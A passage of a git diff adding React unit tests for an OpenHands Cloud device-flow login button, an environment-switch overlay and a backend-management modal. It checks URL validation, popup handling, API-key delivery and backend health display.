+    expect(screen.getByTestId("cloud-login-device-flow")).toHaveClass(
+      "flex",
+      "flex-col",
+      "gap-3",
+    );
+    const button = screen.getByTestId("cloud-login-login-button");
+    expect(button).toHaveAccessibleName("Login with OpenHands Cloud");
+    expect(button).toHaveTextContent("Login with OpenHands Cloud");
+    expect(button).not.toHaveAttribute("aria-label");
+    expect(button).toHaveClass("bg-primary");
+    expect(button).toBeDisabled();
+    expect(screen.queryByRole("alert")).not.toBeInTheDocument();
+
+    await user.click(button);
+    expect(flow.start).not.toHaveBeenCalled();
+    expect(open).not.toHaveBeenCalled();
+  });
+
+  it("gives custom content an accessible label in a styled button", () => {
+    arrangeFlow(createFlow());
+
+    render(
+      <DeviceFlowAuth
+        {...createProps({
+          idleButtonLabel: "Connect cloud account",
+          idleButtonContent: <span aria-hidden>☁</span>,
+          buttonVariant: "tertiary",
+          buttonClassName: "custom-button",
+        })}
+      />,
+    );
+
+    const button = screen.getByTestId("cloud-login-login-button");
+    expect(button).toHaveAccessibleName("Connect cloud account");
+    expect(button).toHaveTextContent("☁");
+    expect(button).not.toHaveTextContent("Connect cloud account");
+    expect(button).toHaveClass("custom-button");
+  });
+
+  it("starts normalized authentication from a custom unstyled control", async () => {
+    const user = userEvent.setup();
+    const flow = createFlow();
+    arrangeFlow(flow);
+    const { popup, close } = createPopup();
+    const open = vi.spyOn(window, "open").mockReturnValue(popup);
+    const warn = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const { unmount } = render(
+      <DeviceFlowAuth
+        {...createProps({
+          host: "  cloud.example.com///  ",
+          idleButtonLabel: "Reconnect",
+          idleButtonContent: <span aria-hidden>↗</span>,
+          buttonVariant: "unstyled",
+          className: "compact-login",
+          buttonClassName: "icon-button",
+          analyticsSource: "add_backend_modal",
+        })}
+      />,
+    );
+
+    const button = screen.getByTestId("cloud-login-login-button");
+    expect(button).toHaveAccessibleName("Reconnect");
+    expect(button).toHaveClass("icon-button");
+    expect(screen.getByTestId("cloud-login-device-flow")).toHaveClass(
+      "compact-login",
+    );
+
+    await user.click(button);
+    expect(open).toHaveBeenCalledWith("about:blank", "_blank");
+    expect(flow.start).toHaveBeenCalledWith(
+      "https://cloud.example.com",
+      "add_backend_modal",
+    );
+    expect(warn).not.toHaveBeenCalled();
+
+    unmount();
+    expect(close).toHaveBeenCalledTimes(1);
+  });
+
+  it("supports a text-only unstyled trigger while modal status is idle", () => {
+    arrangeFlow(createFlow());
+
+    render(
+      <DeviceFlowAuth
+        {...createProps({
+          idleButtonLabel: "Reconnect",
+          buttonVariant: "unstyled",
+          statusDisplay: "modal",
+        })}
+      />,
+    );
+
+    const button = screen.getByTestId("cloud-login-login-button");
+    expect(button).toHaveTextContent("Reconnect");
+    expect(button).not.toHaveAttribute("aria-label");
+    expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+  });
+
+  it.each([
+    ["a blank host", "   "],
+    ["a host with a username", "https://user@example.com"],
+    ["a host with a password", "https://:secret@example.com"],
+  ])("does not start authentication for %s", async (_reason, host) => {
+    const user = userEvent.setup();
+    const flow = createFlow();
+    arrangeFlow(flow);
+    const open = vi.spyOn(window, "open").mockReturnValue(createPopup().popup);
+
+    render(<DeviceFlowAuth {...createProps({ host })} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+
+    expect(open).not.toHaveBeenCalled();
+    expect(flow.start).not.toHaveBeenCalled();
+  });
+
+  it("only recognizes an explicit scheme at the start of the host", async () => {
+    const user = userEvent.setup();
+    const flow = createFlow();
+    arrangeFlow(flow);
+    vi.spyOn(window, "open").mockReturnValue(createPopup().popup);
+
+    render(
+      <DeviceFlowAuth
+        {...createProps({ host: "prefixhttps://cloud.example.com" })}
+      />,
+    );
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+
+    expect(flow.start).toHaveBeenCalledWith(
+      "https://prefixhttps://cloud.example.com",
+      undefined,
+    );
+  });
+
+  it("renders idle description and footer only while the flow is idle", () => {
+    arrangeFlow(createFlow());
+    const { rerender } = render(
+      <DeviceFlowAuth
+        {...createProps({
+          idleDescription: <p>idle-description</p>,
+          idleFooter: <p>idle-footer</p>,
+        })}
+      />,
+    );
+    expect(screen.getByText("idle-description")).toBeInTheDocument();
+    expect(screen.getByText("idle-footer")).toBeInTheDocument();
+
+    arrangeFlow(createFlow({ status: "starting" }));
+    rerender(
+      <DeviceFlowAuth
+        {...createProps({
+          idleDescription: <p>idle-description</p>,
+          idleFooter: <p>idle-footer</p>,
+        })}
+      />,
+    );
+    expect(screen.queryByText("idle-description")).not.toBeInTheDocument();
+    expect(screen.queryByText("idle-footer")).not.toBeInTheDocument();
+  });
+
+  it("shows an accessible inline starting state", () => {
+    arrangeFlow(createFlow({ status: "starting" }));
+
+    render(<DeviceFlowAuth {...createProps({ buttonVariant: "unstyled" })} />);
+
+    const status = screen.getByTestId("cloud-login-auth-starting");
+    expect(status).toHaveAttribute("role", "status");
+    expect(status).toHaveTextContent("Starting authorization");
+    expect(status).toHaveAttribute("aria-live", "polite");
+    expect(status.querySelector("svg")).toHaveAttribute("aria-hidden", "true");
+    expect(
+      screen.queryByTestId("cloud-login-login-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("navigates its popup to a safe verification URL and cancels cleanly", async () => {
+    const user = userEvent.setup();
+    const idleFlow = createFlow();
+    const verificationUrl =
+      "https://cloud.example.com/device?user_code=ABCD-EFGH";
+    const awaitingFlow = createFlow({
+      status: "awaiting_authorization",
+      verificationUrl,
+      userCode: "ABCD-EFGH",
+    });
+    arrangeFlowTransition(idleFlow, awaitingFlow);
+    const { popup, close, location } = createPopup();
+    vi.spyOn(window, "open").mockReturnValue(popup);
+    const props = createProps();
+
+    const { rerender } = render(<DeviceFlowAuth {...props} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+    rerender(<DeviceFlowAuth {...props} />);
+
+    expect(location.href).toBe(verificationUrl);
+    const manualLink = screen.getByRole("link", { name: verificationUrl });
+    expect(manualLink).toHaveAttribute("href", verificationUrl);
+    expect(manualLink).toHaveAttribute("target", "_blank");
+    expect(manualLink).toHaveAttribute("rel", "noopener noreferrer");
+    expect(screen.getByRole("status")).toHaveTextContent(
+      "Waiting for authorization",
+    );
+    expect(screen.getByRole("status")).toHaveTextContent(
+      "Complete login in your browser",
+    );
+    expect(screen.getByRole("status")).toHaveTextContent(
+      "Open the authorization page",
+    );
+
+    await user.click(screen.getByTestId("cloud-login-auth-cancel"));
+    expect(awaitingFlow.cancel).toHaveBeenCalledTimes(1);
+    expect(close).toHaveBeenCalledTimes(1);
+  });
+
+  it("keeps the manual link available when the popup was blocked", async () => {
+    const user = userEvent.setup();
+    const idleFlow = createFlow();
+    const verificationUrl = "https://cloud.example.com/device";
+    const awaitingFlow = createFlow({
+      status: "awaiting_authorization",
+      verificationUrl,
+    });
+    arrangeFlowTransition(idleFlow, awaitingFlow);
+    const open = vi.spyOn(window, "open").mockReturnValue(null);
+    const warn = vi.spyOn(console, "warn").mockImplementation(() => {});
+    const props = createProps();
+
+    const { rerender } = render(<DeviceFlowAuth {...props} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+    rerender(<DeviceFlowAuth {...props} />);
+
+    expect(open).toHaveBeenCalledTimes(1);
+    expect(warn).toHaveBeenCalledWith(
+      "Popup blocked - user will need to use manual link",
+    );
+    expect(screen.getByRole("status")).toHaveTextContent(
+      "Complete login in your browser Open the authorization page",
+    );
+    expect(screen.getByRole("link", { name: verificationUrl })).toHaveAttribute(
+      "href",
+      verificationUrl,
+    );
+  });
+
+  it("does not try to navigate a popup the user already closed", async () => {
+    const user = userEvent.setup();
+    const idleFlow = createFlow();
+    const verificationUrl = "https://cloud.example.com/device";
+    const awaitingFlow = createFlow({
+      status: "awaiting_authorization",
+      verificationUrl,
+    });
+    arrangeFlowTransition(idleFlow, awaitingFlow);
+    const { popup, location } = createPopup({ closed: true });
+    const open = vi.spyOn(window, "open").mockReturnValue(popup);
+    const props = createProps();
+
+    const { rerender } = render(<DeviceFlowAuth {...props} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+    rerender(<DeviceFlowAuth {...props} />);
+
+    expect(location.href).toBe("about:blank");
+    expect(open).toHaveBeenCalledTimes(1);
+    expect(screen.getByRole("link", { name: verificationUrl })).toBeVisible();
+  });
+
+  it("does not navigate when a verification URL arrives outside the awaiting state", async () => {
+    const user = userEvent.setup();
+    const idleFlow = createFlow();
+    const startingFlow = createFlow({
+      status: "starting",
+      verificationUrl: "https://cloud.example.com/device",
+    });
+    arrangeFlowTransition(idleFlow, startingFlow);
+    const { popup, location } = createPopup();
+    const open = vi.spyOn(window, "open").mockReturnValue(popup);
+    const props = createProps();
+
+    const { rerender } = render(<DeviceFlowAuth {...props} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+    rerender(<DeviceFlowAuth {...props} />);
+
+    expect(location.href).toBe("about:blank");
+    expect(open).toHaveBeenCalledTimes(1);
+    expect(screen.getByTestId("cloud-login-auth-starting")).toBeVisible();
+  });
+
+  it("opens a fallback popup when the original cannot be navigated", async () => {
+    const user = userEvent.setup();
+    const idleFlow = createFlow();
+    const verificationUrl = "https://cloud.example.com/device";
+    const awaitingFlow = createFlow({
+      status: "awaiting_authorization",
+      verificationUrl,
+    });
+    arrangeFlowTransition(idleFlow, awaitingFlow);
+    const original = createPopup({ throwOnNavigation: true });
+    const fallback = createPopup({ initialHref: verificationUrl });
+    const open = vi
+      .spyOn(window, "open")
+      .mockReturnValueOnce(original.popup)
+      .mockReturnValueOnce(fallback.popup);
+    const props = createProps();
+
+    const { rerender, unmount } = render(<DeviceFlowAuth {...props} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+    rerender(<DeviceFlowAuth {...props} />);
+
+    expect(open).toHaveBeenNthCalledWith(
+      2,
+      verificationUrl,
+      "_blank",
+      "noopener,noreferrer",
+    );
+
+    unmount();
+    expect(fallback.close).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    ["an insecure URL", "http://cloud.example.com/device"],
+    ["a malformed URL", "not a URL"],
+  ])("does not expose or navigate to %s", async (_reason, verificationUrl) => {
+    const user = userEvent.setup();
+    const idleFlow = createFlow();
+    const awaitingFlow = createFlow({
+      status: "awaiting_authorization",
+      verificationUrl,
+    });
+    arrangeFlowTransition(idleFlow, awaitingFlow);
+    const { popup, location } = createPopup();
+    const open = vi.spyOn(window, "open").mockReturnValue(popup);
+    const error = vi.spyOn(console, "error").mockImplementation(() => {});
+    const props = createProps();
+
+    const { rerender } = render(<DeviceFlowAuth {...props} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+    rerender(<DeviceFlowAuth {...props} />);
+
+    expect(location.href).toBe("about:blank");
+    expect(open).toHaveBeenCalledTimes(1);
+    expect(screen.queryByRole("link")).not.toBeInTheDocument();
+    expect(error).toHaveBeenCalledWith("Invalid verification URL protocol");
+  });
+
+  it("waits safely when authorization has not supplied a URL yet", () => {
+    arrangeFlow(
+      createFlow({
+        status: "awaiting_authorization",
+        verificationUrl: null,
+      }),
+    );
+
+    render(<DeviceFlowAuth {...createProps()} />);
+
+    expect(screen.getByTestId("cloud-login-auth-awaiting")).toBeVisible();
+    expect(screen.queryByRole("link")).not.toBeInTheDocument();
+  });
+
+  it("delivers the API key, resets the flow, and closes the popup", async () => {
+    const user = userEvent.setup();
+    const idleFlow = createFlow();
+    const successFlow = createFlow({
+      status: "success",
+      apiKey: "api-key-123",
+    });
+    arrangeFlowTransition(idleFlow, successFlow);
+    const { popup, close } = createPopup();
+    vi.spyOn(window, "open").mockReturnValue(popup);
+    const props = createProps();
+
+    const { rerender } = render(<DeviceFlowAuth {...props} />);
+    await user.click(screen.getByTestId("cloud-login-login-button"));
+    rerender(<DeviceFlowAuth {...props} />);
+
+    expect(props.onSuccess).toHaveBeenCalledWith("api-key-123");
+    expect(props.onSuccess).toHaveBeenCalledTimes(1);
+    expect(successFlow.reset).toHaveBeenCalledTimes(1);
+    expect(close).toHaveBeenCalledTimes(1);
+    expect(screen.queryByRole("status")).not.toBeInTheDocument();
+  });
+
+  it("does not report a successful flow that has no API key", () => {
+    const flow = createFlow({ status: "success", apiKey: null });
+    arrangeFlow(flow);
+    const props = createProps();
+
+    render(<DeviceFlowAuth {...props} />);
+
+    expect(props.onSuccess).not.toHaveBeenCalled();
+    expect(flow.reset).not.toHaveBeenCalled();
+    expect(
+      screen.queryByTestId("cloud-login-login-button"),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByRole("status")).not.toBeInTheDocument();
+    expect(screen.queryByRole("alert")).not.toBeInTheDocument();
+  });
+
+  it("delivers an initially available API key without requiring a popup", () => {
+    const flow = createFlow({ status: "success", apiKey: "api-key-123" });
+    arrangeFlow(flow);
+    const props = createProps();
+
+    expect(() => render(<DeviceFlowAuth {...props} />)).not.toThrow();
+
+    expect(props.onSuccess).toHaveBeenCalledWith("api-key-123");
+    expect(flow.reset).toHaveBeenCalledTimes(1);
+    expect(screen.queryByRole("alert")).not.toBeInTheDocument();
+  });
+
+  it("does not deliver an API key before authentication succeeds", () => {
+    const flow = createFlow({
+      status: "starting",
+      apiKey: "premature-api-key",
+    });
+    arrangeFlow(flow);
+    const props = createProps();
+
+    render(<DeviceFlowAuth {...props} />);
+
+    expect(props.onSuccess).not.toHaveBeenCalled();
+    expect(flow.reset).not.toHaveBeenCalled();
+  });
+
+  it("shows an authorization error and retries an explicit host", async () => {
+    const user = userEvent.setup();
+    const flow = createFlow({
+      status: "error",
+      error: "Authorization expired",
+      errorCode: "expired_token",
+    });
+    arrangeFlow(flow);
+    const { popup } = createPopup();
+    const open = vi.spyOn(window, "open").mockReturnValue(popup);
+
+    render(
+      <DeviceFlowAuth
+        {...createProps({ host: "  HTTP://cloud.example.com///  " })}
+      />,
+    );
+
+    expect(screen.getByTestId("cloud-login-auth-error")).toHaveTextContent(
+      "Authorization expired",
+    );
+    await user.click(screen.getByTestId("cloud-login-auth-retry"));
+
+    expect(open).toHaveBeenCalledWith("about:blank", "_blank");
+    expect(flow.start).toHaveBeenCalledWith(
+      "HTTP://cloud.example.com",
+      undefined,
+    );
+  });
+
+  it("renders progress in a modal that ignores backdrop clicks but cancels on Escape", () => {
+    const flow = createFlow({ status: "starting" });
+    arrangeFlow(flow);
+
+    render(<DeviceFlowAuth {...createProps({ statusDisplay: "modal" })} />);
+
+    const dialog = screen.getByRole("dialog", {
+      name: "Login with OpenHands Cloud",
+    });
+    const modal = screen.getByTestId("cloud-login-auth-modal");
+    expect(within(modal).getByRole("status")).toHaveTextContent(
+      "Starting authorization",
+    );
+    expect(
+      within(screen.getByTestId("cloud-login-device-flow")).queryByRole(
+        "status",
+      ),
+    ).not.toBeInTheDocument();
+
+    fireEvent.click(dialog.firstElementChild as HTMLElement);
+    expect(flow.cancel).not.toHaveBeenCalled();
+
+    const runtimeErrors: unknown[] = [];
+    const preventRuntimeError = (event: ErrorEvent) => {
+      event.preventDefault();
+      runtimeErrors.push(event.error);
+    };
+    window.addEventListener("error", preventRuntimeError);
+    try {
+      fireEvent.keyDown(window, { key: "Escape" });
+    } finally {
+      window.removeEventListener("error", preventRuntimeError);
+    }
+
+    expect(runtimeErrors).toEqual([]);
+    expect(flow.cancel).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/backends/environment-switch-overlay.test.tsx b/__tests__/components/backends/environment-switch-overlay.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d9332155c2f8dad9d813292eb6d39fbc51fbaaa1
--- /dev/null
+++ b/__tests__/components/backends/environment-switch-overlay.test.tsx
@@ -0,0 +1,66 @@
+import React from "react";
+import { act, render, screen } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetEnvironmentSwitchOverlayForTests,
+  dismissEnvironmentSwitch,
+  ENVIRONMENT_SWITCH_DURATION_MS,
+  EnvironmentSwitchOverlay,
+  triggerEnvironmentSwitch,
+} from "#/components/features/backends/environment-switch-overlay";
+
+describe("EnvironmentSwitchOverlay", () => {
+  beforeEach(() => {
+    vi.useFakeTimers();
+  });
+
+  afterEach(() => {
+    __resetEnvironmentSwitchOverlayForTests();
+    vi.useRealTimers();
+  });
+
+  it("renders the overlay with the requested target on trigger and tears it down after the configured duration", () => {
+    // Arrange
+    render(<EnvironmentSwitchOverlay />);
+
+    // Act — request a switch to a specific environment
+    act(() => {
+      triggerEnvironmentSwitch("Acme Cloud");
+    });
+
+    // Assert — overlay is mounted and carries the requested target
+    expect(screen.getByTestId("environment-switch-overlay")).toHaveAttribute(
+      "data-target",
+      "Acme Cloud",
+    );
+
+    // Act — wait out the auto-hide window
+    act(() => {
+      vi.advanceTimersByTime(ENVIRONMENT_SWITCH_DURATION_MS);
+    });
+
+    // Assert — overlay tears itself down without further user action
+    expect(
+      screen.queryByTestId("environment-switch-overlay"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("hides immediately when dismissed before the auto-hide timeout", () => {
+    render(<EnvironmentSwitchOverlay />);
+
+    act(() => {
+      triggerEnvironmentSwitch("Acme Cloud");
+    });
+    expect(
+      screen.getByTestId("environment-switch-overlay"),
+    ).toBeInTheDocument();
+
+    act(() => {
+      dismissEnvironmentSwitch();
+    });
+
+    expect(
+      screen.queryByTestId("environment-switch-overlay"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/backends/manage-backends-modal.test.tsx b/__tests__/components/backends/manage-backends-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a6beea6e9063bfe8ca1a7fd94ce7d983e6814744
--- /dev/null
+++ b/__tests__/components/backends/manage-backends-modal.test.tsx
@@ -0,0 +1,1021 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend";
+import {
+  BACKEND_HEALTH_STORAGE_KEY,
+  MAX_CONSECUTIVE_FAILURES,
+} from "#/api/backend-registry/health-storage";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { __resetHealthStoreForTests } from "#/api/backend-registry/health-store";
+import {
+  ActiveBackendProvider,
+  useActiveBackendContext,
+} from "#/contexts/active-backend-context";
+import { ManageBackendsModal } from "#/components/features/backends/manage-backends-modal";
+import { BackendVersion } from "#/components/features/backends/backend-version";
+import { BackendRow } from "#/components/features/backends/backend-row";
+import { type Backend } from "#/api/backend-registry/types";
+import { CLOUD_BACKEND_LOGGED_OUT_ERROR } from "#/hooks/query/use-backends-health";
+import {
+  getCloudOrganizations,
+  getCloudOrganizationMe,
+  getCurrentCloudApiKey,
+} from "#/api/cloud/organization-service.api";
+import * as telemetry from "#/services/telemetry";
+
+const deviceFlowMocks = vi.hoisted(() => ({
+  startDeviceFlow: vi.fn(),
+  pollForToken: vi.fn(),
+}));
+
+const getServerInfoMock = vi.fn().mockResolvedValue({ version: "1.28.0" });
+const getSettingsMock = vi.fn().mockResolvedValue({});
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ServerClient: vi.fn(function ServerClientMock() {
+    return { getServerInfo: getServerInfoMock };
+  }),
+  SettingsClient: vi.fn(function SettingsClientMock() {
+    return { getSettings: getSettingsMock };
+  }),
+}));
+
+vi.mock("#/api/cloud/organization-service.api", () => ({
+  getCloudOrganizations: vi.fn(),
+  getCloudOrganizationMe: vi.fn(),
+  getCurrentCloudApiKey: vi.fn(),
+}));
+
+// Partial mock: only the device-flow network calls are stubbed. The pure
+// host-classifier `isOpenHandsCloudHost` (which the backend form uses to infer
+// a backend's kind) is inherited from the real module so classification stays
+// faithful to production.
+vi.mock("#/api/device-flow-client", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/api/device-flow-client")>();
+  return {
+    ...actual,
+    startDeviceFlow: deviceFlowMocks.startDeviceFlow,
+    pollForToken: deviceFlowMocks.pollForToken,
+  };
+});
+
+let captureMock: ReturnType<typeof vi.spyOn>;
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({
+    data: { user_consents_to_analytics: true, email: "user@example.com" },
+  }),
+}));
+
+function renderWithProviders(ui: React.ReactElement) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>{ui}</ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+function TestSeed({
+  onMount,
+  children,
+}: {
+  onMount: (ctx: ReturnType<typeof useActiveBackendContext>) => void;
+  children: React.ReactNode;
+}) {
+  const ctx = useActiveBackendContext();
+  React.useEffect(() => {
+    onMount(ctx);
+  }, []);
+  return children as React.ReactElement;
+}
+
+beforeEach(() => {
+  captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined);
+  vi.spyOn(telemetry, "isTelemetryEnabled").mockReturnValue(true);
+  window.localStorage.clear();
+  getServerInfoMock.mockReset();
+  getServerInfoMock.mockResolvedValue({ version: "1.28.0" });
+  getSettingsMock.mockReset();
+  getSettingsMock.mockResolvedValue({});
+  vi.mocked(getCloudOrganizations).mockReset();
+  vi.mocked(getCloudOrganizations).mockResolvedValue({
+    items: [],
+    currentOrgId: null,
+  });
+  vi.mocked(getCloudOrganizationMe).mockReset();
+  vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+    orgId: "",
+    userId: "",
+    role: null,
+  });
+  vi.mocked(getCurrentCloudApiKey).mockReset();
+  vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+    orgId: null,
+    isLegacyKey: true,
+  });
+  deviceFlowMocks.startDeviceFlow.mockReset();
+  deviceFlowMocks.startDeviceFlow.mockResolvedValue({
+    device_code: "device-code",
+    user_code: "ABCD-EFGH",
+    verification_uri: "https://app.all-hands.dev/device",
+    verification_uri_complete:
+      "https://app.all-hands.dev/device?user_code=ABCD-EFGH",
+    expires_in: 600,
+    interval: 5,
+  });
+  deviceFlowMocks.pollForToken.mockReset();
+  deviceFlowMocks.pollForToken.mockImplementation(() => new Promise(() => {}));
+  __resetActiveStoreForTests();
+  __resetHealthStoreForTests();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  vi.restoreAllMocks();
+  vi.unstubAllEnvs();
+  delete (window as unknown as Record<string, unknown>)
+    .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+  __resetActiveStoreForTests();
+  __resetHealthStoreForTests();
+});
+
+describe("ManageBackendsModal", () => {
+  it("renders a status dot in each row", async () => {
+    renderWithProviders(<ManageBackendsModal onClose={vi.fn()} />);
+
+    expect(
+      await screen.findByTestId("manage-backends-modal"),
+    ).toBeInTheDocument();
+
+    // The seeded default Local backend row is present and has a status
+    // indicator alongside its name + host.
+    const dots = await screen.findAllByTestId("backend-status-dot");
+    expect(dots.length).toBeGreaterThanOrEqual(1);
+  });
+
+  it("shows invalid API key status when the backend auth probe returns 401", async () => {
+    getSettingsMock.mockRejectedValue(
+      Object.assign(new Error("Unauthorized"), {
+        name: "HttpError",
+        status: 401,
+      }),
+    );
+
+    renderWithProviders(<ManageBackendsModal onClose={vi.fn()} />);
+
+    const row = await screen.findByTestId("manage-backends-row-Local");
+    await waitFor(() =>
+      expect(
+        screen.getByTestId("manage-backends-status-Local"),
+      ).toHaveTextContent("BACKEND$STATUS_DISCONNECTED_CHECK_API_KEY"),
+    );
+    expect(
+      row.querySelector('[data-testid="backend-status-dot"]'),
+    ).toHaveAttribute("data-status", "disconnected");
+  });
+
+  it("shows disconnected for a reachable backend below the compatible version floor", async () => {
+    getServerInfoMock.mockResolvedValue({ version: "1.27.1" });
+
+    renderWithProviders(<ManageBackendsModal onClose={vi.fn()} />);
+
+    expect(
+      await screen.findByTestId("manage-backends-version-Local"),
+    ).toBeInTheDocument();
+    expect(getServerInfoMock).toHaveBeenCalled();
+    await waitFor(() =>
+      expect(
+        screen.getByTestId("manage-backends-status-Local"),
+      ).toHaveTextContent("ONBOARDING$BACKEND_STATUS_DISCONNECTED"),
+    );
+    expect(
+      screen.getByTestId("manage-backends-status-detail-Local"),
+    ).toHaveTextContent("Agent Canvas requires agent-server 1.28.0 or newer");
+  });
+
+  it("closes when the header close button is clicked", async () => {
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    renderWithProviders(<ManageBackendsModal onClose={onClose} />);
+
+    await user.click(await screen.findByTestId("close-manage-backends-modal"));
+
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("opens the add-backend form when '+ Add backend' is clicked", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(<ManageBackendsModal onClose={vi.fn()} />);
+
+    await user.click(screen.getByTestId("manage-backends-add"));
+
+    expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument();
+  });
+
+  it("re-checks a disabled backend on open and clears stale persisted health when it recovers", async () => {
+    window.localStorage.setItem(
+      BACKEND_HEALTH_STORAGE_KEY,
+      JSON.stringify({
+        [SEEDED_DEFAULT_BACKEND_ID]: {
+          consecutiveFailures: MAX_CONSECUTIVE_FAILURES,
+          lastError: "Network Error",
+          lastFailureAt: Date.now(),
+          disabled: true,
+        },
+      }),
+    );
+    __resetHealthStoreForTests();
+
+    renderWithProviders(<ManageBackendsModal onClose={vi.fn()} />);
+
+    await waitFor(() => {
+      expect(
+        window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY),
+      ).toBeNull();
+    });
+  });
+
+  it("opens an edit form pre-filled with the row's backend, and persists changes via updateBackend", async () => {
+    // These tests exercise edit-form behavior, not lock behavior; isolate
+    // them from a local .env that sets VITE_LOCK_TO_CLOUD and would hide the
+    // pencil button this test depends on.
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+    const user = userEvent.setup();
+
+    let backendId = "";
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          backendId = ctx.addBackend({
+            name: "Acme Local",
+            host: "http://localhost:9000",
+            apiKey: "old-key",
+            kind: "local",
+          }).id;
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} />
+      </TestSeed>,
+    );
+
+    await user.click(
+      await screen.findByTestId("manage-backends-edit-Acme Local"),
+    );
+
+    await screen.findByTestId("edit-backend-modal");
+    const nameInput = screen.getByTestId(
+      "edit-backend-name",
+    ) as HTMLInputElement;
+    expect(nameInput.value).toBe("Acme Local");
+
+    // Update the host and save.
+    const hostInput = screen.getByTestId(
+      "edit-backend-host",
+    ) as HTMLInputElement;
+    await user.clear(hostInput);
+    await user.type(hostInput, "http://localhost:9999");
+
+    await user.click(screen.getByTestId("edit-backend-submit"));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("edit-backend-modal"),
+      ).not.toBeInTheDocument();
+    });
+
+    // The list now reflects the new host and the original id is preserved.
+    const row = screen.getByTestId("manage-backends-row-Acme Local");
+    expect(row.textContent).toContain("http://localhost:9999");
+    expect(backendId).not.toBe("");
+  });
+
+  it("preserves kind:cloud when renaming a cloud backend on a custom domain", async () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+    const user = userEvent.setup();
+
+    let backendId = "";
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          backendId = ctx.addBackend({
+            name: "OHE Prod",
+            host: "https://app.company.com",
+            apiKey: "sk-oh-test",
+            kind: "cloud",
+          }).id;
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} />
+      </TestSeed>,
+    );
+
+    await user.click(
+      await screen.findByTestId("manage-backends-edit-OHE Prod"),
+    );
+    await screen.findByTestId("edit-backend-modal");
+
+    // Rename only -- host and kind are untouched
+    const nameInput = screen.getByTestId(
+      "edit-backend-name",
+    ) as HTMLInputElement;
+    await user.clear(nameInput);
+    await user.type(nameInput, "OHE Prod Renamed");
+
+    await user.click(screen.getByTestId("edit-backend-submit"));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("edit-backend-modal"),
+      ).not.toBeInTheDocument();
+    });
+
+    const stored = JSON.parse(
+      window.localStorage.getItem("openhands-backends") ?? "[]",
+    );
+    const updated = stored.find((b: { id: string }) => b.id === backendId);
+    expect(updated).toMatchObject({
+      name: "OHE Prod Renamed",
+      kind: "cloud",
+    });
+  });
+
+  it("closes the edit form when the header close button is clicked", async () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+    const user = userEvent.setup();
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "Acme Local",
+            host: "http://localhost:9000",
+            apiKey: "old-key",
+            kind: "local",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} />
+      </TestSeed>,
+    );
+
+    await user.click(
+      await screen.findByTestId("manage-backends-edit-Acme Local"),
+    );
+    await screen.findByTestId("edit-backend-modal");
+
+    await user.click(screen.getByTestId("edit-backend-close"));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("edit-backend-modal"),
+      ).not.toBeInTheDocument();
+    });
+    expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument();
+  });
+
+  it("shows each cloud backend's connected organization so same-named backends are distinguishable", async () => {
+    // Two cloud backends share the same name and host; each API key is bound
+    // to a different org, which is the only thing that tells them apart.
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [
+        { id: "org-acme", name: "Acme Inc" },
